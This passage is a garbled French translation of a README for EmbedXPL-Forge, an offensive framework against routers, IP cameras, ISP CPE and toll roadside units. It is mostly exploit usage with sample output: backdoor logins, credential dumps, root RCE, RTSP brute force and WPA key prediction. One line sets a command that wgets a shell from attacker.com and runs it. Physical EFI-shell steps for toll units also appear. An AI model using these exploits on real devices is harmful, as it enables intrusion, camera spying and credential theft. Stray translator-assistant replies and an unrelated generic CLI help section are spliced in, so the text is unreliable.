exf > use exploits/routers/trendnet/camera_mjpeg_unauth exf (TRENDnet MJPEG) > set target 192.168.1.50 exf (TRENDnet MJPEG) > run [+] LIVE STREAM accessible (no auth): /anony/mjpg.cgi [+] Stream URL: http://192.168.1.50:80/anony/mjpg.cgi

Netgear WG602 — hardcoded backdoor credentials

exf > use exploits/routers/netgear/wg602_superman_backdoor exf (WG602 Backdoor) > set target 192.168.1.1 exf (WG602 Backdoor) > run [+] Backdoor login SUCCESS: super:5777364 [*] Admin panel: http://192.168.1.1:80/

**Les 27 nouveaux fournisseurs/modules :**
`alcatel_lucent` · `alpha_networks` · `astoria` · `binatone` · `ddwrt` · `easybox` · `ee` · `freebox` · `mifi` · `motorola` · `observa` · `ruggedcom` · `seagate` · `sitecom` · `starbridge` · `ubee` · `unicorn` · `utstarcom` · `zoom` · plus les compléments belkin, netgear, trendnet.


## Structure des modules```
embedxpl/
├── core/
│   ├── rtsp/          # RTSP camera engine
│   │   ├── client.py  # Raw socket RTSP client (OPTIONS/DESCRIBE/auth/TLS/HTTP-tunnel)
│   │   ├── attacker.py# 5-phase attack pipeline (route→auth→creds→validate→re-attack)
│   │   ├── scanner.py # Network discovery (nmap/masscan/direct), CIDR/range expansion
│   │   └── models.py  # RTSPStream dataclass, AuthType enum
│   └── poly/
│       ├── compiler.py# CCompiler — runtime C/C++ compilation (gcc/clang/mingw/cross)
│       └── runner.py  # PolyRunner — Ruby/Node/PHP/Bash/Perl + Metasploit + ExploitDB
├── modules/
│   ├── creds/             # Credential testing (FTP, SSH, Telnet, HTTP, SNMP)
│   ├── exploits/
│   │   ├── cameras/       # IP camera exploits by vendor
│   │   │   ├── multi/     # Multi-vendor (RTSP attack engine, P2P, ONVIF)
│   │   │   ├── hikvision/ # Hikvision (CVE-2021-36260, CVE-2017-7921, ...)
│   │   │   ├── dahua/     # Dahua + OEMs (CVE-2021-33044, CVE-2020-25078, ...)
│   │   │   ├── axis/      # Axis (CVE-2018-10660, ...)
│   │   │   ├── reolink/   # Reolink (CVE-2021-40655, CVE-2022-30600)
│   │   │   ├── amcrest/   # Amcrest (CVE-2019-3950)
│   │   │   ├── uniview/   # Uniview UNV (CVE-2024-37630)
│   │   │   ├── tapo/      # TP-Link Tapo (CVE-2021-4045)
│   │   │   ├── annke/     # ANNKE DVR/NVR (CVE-2021-32941)
│   │   │   ├── swann/     # Swann DVR/NVR (default creds + RTSP)
│   │   │   └── edimax/    # Edimax IC-7100 (CVE-2025-1316, CISA KEV)
│   │   ├── firmware/      # Firmware flash bypass (NETGEAR, TP-Link, D-Link, ASUS)
│   │   ├── nas/           # NAS exploits (QNAP, D-Link NAS, Zyxel)
│   │   ├── routers/       # Router exploits by vendor (85 vendor folders — see full list below)
│   │   ├── vpn/           # VPN/firewall appliances (Ivanti, Fortinet, SonicWall)
│   │   ├── switches/      # Switch exploits (Cisco, D-Link, NETGEAR)
│   │   └── soho_edge/     # SOHO edge device exploits
│   ├── scanners/          # Network scanning and AutoPwn
│   ├── payloads/          # Reverse/bind shells (multi-arch)
│   ├── encoders/          # Payload encoding (Base64, Hex)
│   └── generic/           # CVE lookup, SNMP, UPnP, SSDP, wordlist tools
├── nse/                   # NSE script manager (Python)
│   ├── manager.py         # NSEManager class — install/uninstall/list/run
│   └── __main__.py        # CLI: python -m embedxpl.nse
├── resources/
│   └── rtsp/
│       ├── routes.txt      # 195+ RTSP stream paths
│       └── credentials.json# 80+ default username:password pairs
└── data/
    └── oui.txt             # IEEE OUI database for MAC-to-vendor lookup

nse/                        # Nmap NSE Lua scripts (pip install embedxpl[nse])
├── embedxpl-rtsp-discover.nse
├── embedxpl-camera-identify.nse
├── embedxpl-hikvision-vuln.nse
├── embedxpl-dahua-vuln.nse
├── embedxpl-rtsp-creds.nse
├── embedxpl-iot-cve-check.nse
└── embedxpl-camera-snapshot.nse

Couverture étendue des modules

Cette section documente les modules pour appareils FAI, les exploits de mots de passe backdoor/usine, le framework client RTSP, les outils OSINT et les modules de sécurité spécialisés.

Modules de sécurité pour appareils FAI

Exploits et scanners ciblant les CPE fournis par les FAI et les caméras IP couramment déployées par les fournisseurs d'accès Internet (ONT basés sur Sercomm, CPE GPON et appareils de marque FAI).

Exemples d'utilisation :```bash

ZTE ZXHN H298A Credential Dump

embedxpl use routers/zte/zxhn_h298a_cred_dump_cve_2026_34474 embedxpl (ZXHNCred) > set rhost 192.168.1.1 embedxpl (ZXHNCred) > run

Expected output (vulnerable device):

[+] Connected to 192.168.1.1:80 [+] Sending ETHCheat request: GET /getpage.lua?pid=1000&ETHCheat=1 [!] VULNERABLE: Credentials exposed Admin Password: admin123 WLAN PSK: MyWifiPass SSID: ZTE_Router_ABC

Sample output (not vulnerable):

[-] No credential fields found in response [-] Target may be patched or different firmware

I don't see any content to translate in your message. The "INPUT:" section is empty — no Markdown text was included after it.

Please paste the actual chunk 91 content you'd like translated from English to French, and I'll return only the translated Markdown, preserving all structure, code, paths, URLs, and identifiers exactly as required.```bash
# Intelbras IWR LuCI RPC RCE
embedxpl use routers/intelbras/iwr_luci_rpc_rce
embedxpl (IWRLuci) > set rhost 192.168.0.1
embedxpl (IWRLuci) > set cmd "id"
embedxpl (IWRLuci) > run

# Expected output:
[+] LuCI RPC endpoint found at /cgi-bin/luci/rpc/sys
[+] RCE via sys.exec: uid=0(root) gid=0(root)

| -t | --type | Type de sortie : text, json, csv, html, markdown | | -o | --output | Chemin du fichier de sortie | | -v | --verbose | Activer la sortie détaillée | | -q | --quiet | Supprimer la sortie non essentielle | | -c | --config | Chemin du fichier de configuration | | -f | | Format de sortie | | | | Niveau de journalisation : , , , | | | | Exécuter sans appliquer les modifications | | | | Répondre automatiquement oui à toutes les invites | | | | Afficher le message d'aide | | | | Afficher les informations de version |

Exemples

# Exécution de base
tool --input file.txt --output result.json

# Avec sortie détaillée
tool -v --config config.yaml

# Mode simulation
tool --dry-run --type json

# Sortie silencieuse
tool -q --format csv

Configuration

L'outil peut être configuré à l'aide d'un fichier de configuration YAML :

# config.yaml
input:
  path: ./data
  format: auto

output:
  path: ./results
  type: json

logging:
  level: info
  file: ./tool.log

options:
  verbose: false
  dry_run: false
  timeout: 30

Variables d'environnement

Codes de sortie

Dépannage

Problème : L'outil se bloque lors de l'initialisation.

Solution : Vérifiez que le fichier de configuration est valide et que toutes les dépendances requises sont installées. Exécutez avec --verbose pour obtenir des informations de débogage supplémentaires.

Problème : Erreurs de permission lors de l'écriture de la sortie.

Solution : Assurez-vous que le répertoire de sortie existe et dispose des permissions d'écriture appropriées. Utilisez chmod pour ajuster les permissions si nécessaire.

Problème : L'outil produit une sortie inattendue.

Solution : Vérifiez le format d'entrée et assurez-vous qu'il correspond au type attendu. Utilisez l'option --dry-run pour tester sans appliquer les modifications.```bash

Brazilian ISP multi-vendor scanner

embedxpl use scanners/specialized/br_isp_scanner embedxpl (BRISPScan) > set target 192.168.0.0/24 embedxpl (BRISPScan) > run

**Notes :** CVE-2026-34474 affecte ZTE ZXHN H298A 1.1 et H108N 2.6. Aucune authentification requise.
**Legal :** À utiliser uniquement sur des appareils que vous possédez ou pour lesquels vous disposez d'une autorisation écrite de test.

---

### Modules de backdoor de routeurs hérités et de mots de passe d'usine

Exploits classiques de backdoor de routeurs et de mots de passe d'usine implémentés dans le format de module EmbedXPL-Forge.

| Appareil | CVE / Référence | Chemin du module | Type d'attaque |
|--------|----------------|-------------|-------------|
| Cobham Aviator 700 SATCOM | CVE-2014-2943 | `exploits/specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943` | Réinitialisation du mot de passe admin (non authentifié) |
| Huawei HG8245H | - | `osint/keygen/huawei_hg8245_wpa_keygen` | Générateur de clé WPA par défaut |
| Alcatel-Lucent OmniPCX Enterprise | - | `exploits/voip/alcatel_lucent/omnipcx_enterprise_mastercgi_rce` | RCE non authentifié via masterCGI |
| Linksys E-Series (The Moon) | EDB-31683 | `exploits/routers/linksys/eseries_themoon_rce_tmunblock` | RCE via tmUnblock.cgi |
| NETGEAR DGN2200 | EDB-24665 | `exploits/routers/netgear/dgn2200_open_telnetd_rce` | RCE non authentifié via open-telnetd |
| Siemens FlexiISN | - | `exploits/routers/siemens/flexiisn_auth_bypass` | Contournement d'authentification |
| Thomson BTHomeHub | - | `exploits/routers/thomson/bthomehub_voice_hijack` | Détournement de configuration VoIP |
| AT&T 2Wire Gateway | - | `exploits/routers/two_wire/atandt_gateway_crlf_dos` | Injection CRLF / DoS |

**Exemples d'utilisation :**```bash
# Cobham Aviator admin reset (VSAT / Satellite terminal)
embedxpl use specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943
embedxpl (CobhamReset) > set rhost 192.168.1.1
embedxpl (CobhamReset) > run

# Expected output:
[+] Connected to Cobham Aviator 700 interface
[+] Sending unauthenticated admin reset request
[!] VULNERABLE: Admin password reset to default

# Linksys eSeries The Moon RCE
embedxpl use routers/linksys/eseries_themoon_rce_tmunblock
embedxpl (TheMoon) > set rhost 192.168.1.1
embedxpl (TheMoon) > set cmd "busybox wget http://attacker.com/shell -O /tmp/sh && chmod +x /tmp/sh && /tmp/sh"
embedxpl (TheMoon) > run

# Huawei HG8245H WPA keygen
embedxpl use osint/keygen/huawei_hg8245_wpa_keygen
embedxpl (HuaweiKeygen) > set ssid "HG8245H-ABCDEF"
embedxpl (HuaweiKeygen) > run
# Output: [+] Predicted WPA key: xA7z3k9P

Remarques : Le ver Moon (CVE Linksys E-Series) exploite tmUnblock.cgi sans authentification sur les firmwares < 2.0.08. Légal : À utiliser uniquement sur des appareils que vous possédez ou pour lesquels vous disposez d'une autorisation écrite de test.

Framework client RTSP

Une bibliothèque client RTSP/1.0 RFC 2326 en pur Python utilisée comme base pour tous les modules d'attaque de caméras RTSP.

Module : network/rtsp/rtsp_client.py - classe RTSPClient

Fonctionnalités :

• Méthodes OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN
• Authentification Basic et Digest (RFC 2617)
• Analyse des descriptions de session SDP
• Reconnexion automatique et gestion des délais d'attente de socket
• Prise en charge du gestionnaire de contexte (with RTSPClient(...) as client)

Exemple d'utilisation :```bash

Direct Python API usage

python3 -c " from embedxpl.modules.network.rtsp.rtsp_client import RTSPClient with RTSPClient('192.168.1.10', 554, timeout=5) as client: resp = client.describe('/live/ch0') if resp.status_code == 200: sdp = client.parse_sdp(resp.body) print(f'Streams: {[s.media_type for s in sdp.streams]}') "

I'm ready to translate the Kitploit tool content from English to French. Please provide the chunk 99/107 content you'd like me to translate.```bash
# RTSP credential brute force (uses RTSPClient internally)
embedxpl use network/rtsp/rtsp_cred_brute
embedxpl (RTSPBrute) > set rhost 192.168.1.10
embedxpl (RTSPBrute) > set rport 554
embedxpl (RTSPBrute) > set path /live/ch0
embedxpl (RTSPBrute) > run

# Expected output:
[+] Trying admin:admin ... 401 Unauthorized
[+] Trying admin:12345 ... 200 OK
[!] VALID: admin:12345

Prérequis : Python 3.8+, aucune dépendance externe.

Module de recherche FCC-ID

Module OSINT qui interroge la base de données FCC Equipment Authorization pour récupérer les détails d'un appareil à partir des codes FCC ID trouvés sur les étiquettes matérielles.

Module : osint/fcc_id_lookup.py

Exemple d'utilisation :```bash embedxpl use osint/fcc_id_lookup embedxpl (FCCLookup) > set fcc_id "PD5-WNR3500U" embedxpl (FCCLookup) > run

Expected output:

[+] FCC ID: PD5-WNR3500U Grantee: NETGEAR Inc. Product: WNR3500U Wireless-N Gigabit Router Frequency: 2.4GHz / 5GHz Authorization: OET-65C (mobile device) Test Lab: SGS Grant Date: 2009-11-18 Internal Photos: [URL] External Photos: [URL] Test Reports: [URL]

**Conseils :**
- Les identifiants FCC sont imprimés sur les étiquettes des appareils (format : `GRANTEE_CODE-PRODUCT_CODE`)
- À utiliser pour identifier le matériel OEM, la base du firmware ou la chaîne de fournisseurs
- À combiner avec `osint/github_recon` pour trouver les dépôts publics de firmware de l'appareil

**Prérequis :** Accès Internet, bibliothèque `requests`.

---

### Générateur d'URL de caméra

Génère des URL de flux de caméra connues en fonction du fournisseur, du modèle et de la version du firmware, en utilisant le format de la base de données de caméras iSpy.

**Module :** `osint/camera_url_generator.py`

**Exemple d'utilisation :**```bash
embedxpl use osint/camera_url_generator
embedxpl (CameraURL) > set vendor "hikvision"
embedxpl (CameraURL) > set model "DS-2CD2143G2"
embedxpl (CameraURL) > run

# Expected output:
[+] Known stream URLs for Hikvision DS-2CD2143G2:
    [1] rtsp://<ip>:554/Streaming/Channels/101
    [2] rtsp://<ip>:554/Streaming/Channels/102
    [3] rtsp://<ip>:554/h264/ch1/main/av_stream
    [4] http://<ip>/ISAPI/Streaming/channels/1/picture
    [5] http://<ip>/onvif/device_service

# Generate wordlist for RTSP brute force
embedxpl (CameraURL) > set output_file /tmp/hikvision_routes.txt
embedxpl (CameraURL) > run

Conseils :

• Combinez avec network/rtsp/rtsp_route_brute pour énumérer les flux en direct
• Prend en charge plus de 300 fabricants de caméras issus de la base de données de caméras ouvertes iSpy
• Utilisez set all_vendors true pour extraire toutes les URL connues

Modules de sécurité pour l'application des règles de circulation

Modules ciblant l'infrastructure d'application des règles de circulation (RSU de péage, systèmes radar, caméras ANPR).

Shell EFI des RSU Kapsch TrafficCom (CVE-2025-25734)

Module : exploits/specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734

Vulnérabilité : Les unités en bord de route (RSU) Kapsch utilisées dans le télépéage électronique ne disposent ni de l'application du Secure Boot UEFI ni d'une protection par mot de passe du BIOS, ce qui permet à un attaquant physique d'accéder à un shell interactif EFI et d'accéder à l'intégralité du système de fichiers.

Impact : Extraction de configuration, vol de clé privée TLS, installation d'implant, contournement de l'application du péage.

Exemple d'utilisation :```bash

Network reachability check (management interface detection)

embedxpl use specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734 embedxpl (KapschRSU) > set rhost 10.0.0.50 embedxpl (KapschRSU) > check

Expected output (management interface exposed):

[+] Kapsch RSU management interface detected on 10.0.0.50:80 [!] Banner indicator: 'TrafficCom RSU' found [*] NOTE: Full exploitation requires physical on-site access

Assessment report

embedxpl (KapschRSU) > run

Outputs: attack steps, mitigations checklist, risk level

**Étapes d'exploitation physique :**
1. Ouvrir le boîtier du RSU (vis inviolables)
2. Connecter un clavier USB et un moniteur à la carte mère du RSU
3. Redémarrer - appuyer sur ESC/DEL/F2 pendant le POST
4. Naviguer : Boot Manager -> EFI Internal Shell
5. Accéder au système de fichiers : `fs0:\efi\config\` pour l'extraction de la configuration

**Prérequis :** Accès physique au matériel du RSU (moniteur + clavier USB), ou accès réseau à l'interface de gestion pour la détection de bannière.
**Légal :** L'accès non autorisé à une infrastructure de contrôle des péages est une infraction pénale. À utiliser uniquement sur des unités que vous possédez ou pour lesquelles vous disposez d'une autorisation écrite explicite d'évaluation.

---

## Architecture du framework (v3.1.0)

### Architecture des composants

Vue complète en couches du framework : couche CLI, Core Engine (orchestrateur, clients de protocole, moteurs de shell), Intelligence Layer (ML, OUI, base de données CVE), Quality Gates, et l'arsenal de plus de 2800 modules organisé par catégorie.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/63129f66ef4361f16ede4ec2b9379e2efba3843685ddb18c40d8302c0c27d00a/38190b67586381886a6b4fadd441bed66ae0b3a5fe573e650bcb67a032096d54-display-v1.webp" width="960" alt="EmbedXPL-Forge Component Architecture v3.1.0"/>
</p>

### Flux d'audit et d'exploitation

Flux de données de bout en bout depuis l'entrée de la cible jusqu'à la découverte, l'empreinte, la sélection des modules, l'exploitation et le reporting.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/266a4c0b8889e9cd6cdbad9450d3b173190d0bb1f615807ff2d040544cbba45b/774107c9888c0d2a25fbb913c73c6ed3c4a4a43da2782c6bb400a2b1b2421fb6-display-v1.webp" width="960" alt="EmbedXPL-Forge Exploitation Flow v3.1.0"/>
</p>


## Architecture et cartes de surface d'attaque

Cartes de surface d'attaque montrant la couverture des modules par vecteur d'accès, dans le style des diagrammes de sécurité opérationnelle.
Fichiers sources dans [`docs/diagrams/architecture/`](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/diagrams/architecture).

### Vue d'ensemble de l'architecture des modules

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/77e312b38d78c27f7d1de0276c6f304f343f323b2d0f951c2f9a2a5362c3e54c/add82fa1cc0dc85f3f6b414270fdc3e457d72b05d31ec9013ae5a08f8427cf52-display-v1.webp" width="900" alt="EmbedXPL-Forge Architecture Overview"/>
</p>

### Chaînes d'attaque des groupes APT

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/e1ab0771072292d7cfd319a886323c1ee5630374de9b7aa88652badb233f10db/540b3fc97ec030a32c27f896ee3e03fa11e349dd9ba8fdc10905618932d9e9ce-display-v1.webp" width="900" alt="APT Group Attack Chains"/>
</p>

### Surface d'attaque des routeurs SOHO

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/5254908f6c1a366a0fb268b89fe1c3260a2d67d2fad0e3380b9d846af5e245ca/e15dbde66c8adc6a223f2ef570c2b202a8cd58b5f69f924399be4a32debf3511-display-v1.webp" width="900" alt="SOHO Router Attack Surface"/>
</p>

### Surface d'attaque TP-Link (campagne APT28/GRU)

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/93f5be2a074ef3b827832e532658e6ea0ada911f9ed0433a4986355ca34e11bf/436ac5ee2ad503629993f8cb04ca563f0d36b2409664abc74705aee9b5d8dbaa-display-v1.webp" width="900" alt="TP-Link APT28 Attack Surface"/>
</p>

### Surface d'attaque MikroTik RouterOS

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/b36a43e11581966fcf539289c66b6694ab23910a52a9c0ed031f18402d366bc4/910bb2d9cd7b55834ebfb6dfd6b02121f3242bf8140435afb2ab28fc196b1faf-display-v1.webp" width="900" alt="MikroTik Attack Surface"/>
</p>

### Surface d'attaque GPON ONT (Huawei EG8145)

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/31f8afeec116e1cfea33753c26b01905351cc1c2a03bc46175f155dbe5e06dfe/34dc8af47fd53c639ed089f6797407be884617726c885c5faad96e7a22b6a078-display-v1.webp" width="900" alt="GPON ONT Attack Surface"/>
</p>

## Prérequis

- Python 3.8+
- Optionnel : `nmap` (binaire) pour la découverte réseau améliorée et les scripts NSE
- Optionnel : `masscan` pour la découverte RTSP à grande vitesse
- Optionnel : `gcc`/`clang` pour la compilation runtime C/C++ de PolyExploit
- Optionnel : `msfconsole` pour l'intégration Metasploit via PolyRunner

**Dépendances Python (installées automatiquement) :**
`requests`, `paramiko`, `pysnmp`, `pycryptodome`, `scapy`, `colorama`, `rich`, `python-nmap`, `aiohttp`

**Extras NSE (`pip install "embedxpl[nse]"`) :**
`python-nmap` (déjà inclus dans le cœur)

Liste complète : [`requirements.txt`](https://github.com/mrhenrike/embedxpl-forge/blob/master/requirements.txt)

## Avertissement légal

EmbedXPL-Forge est destiné uniquement aux tests de sécurité et à la recherche autorisés. Utilisez cet outil exclusivement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est illégal. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.

## Licence

Licence BSD — voir [LICENSE](https://github.com/mrhenrike/embedxpl-forge/blob/master/LICENSE) pour plus de détails.
---

## Contact

**Support / demandes générales :** [email protected]
**Problèmes de sécurité :** [SECURITY.md](https://github.com/mrhenrike/embedxpl-forge/blob/master/SECURITY.md)

---

### André Henrique

| | |
|---|---|
| GitHub | [@mrhenrike](https://github.com/mrhenrike) |
| X / Twitter | [@mrhenrike](https://x.com/mrhenrike) |
| LinkedIn | [mrhenrike](https://www.linkedin.com/in/mrhenrike/) |

### União Geek

| | |
|---|---|
| Site web | [uniaogeek.com.br](https://uniaogeek.com.br/) |
| Blog | [uniaogeek.com.br/blog](https://uniaogeek.com.br/blog/) |
| GitHub | [Uniao-Geek](https://github.com/Uniao-Geek) |
| Instagram | [@uniaogeek](https://www.instagram.com/uniaogeek/) |

---

**Licence :** BSD-3-Clause License - Copyright (c) 2026 União Geek
**Créé par :** André Henrique ([@mrhenrike](https://github.com/mrhenrike)) | [União Geek](https://uniaogeek.com.br/)

[Leia em Português](https://github.com/mrhenrike/embedxpl-forge/blob/master/README.pt-BR.md) - [Command coverage](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/commands.md) - [Wiki](../../wiki)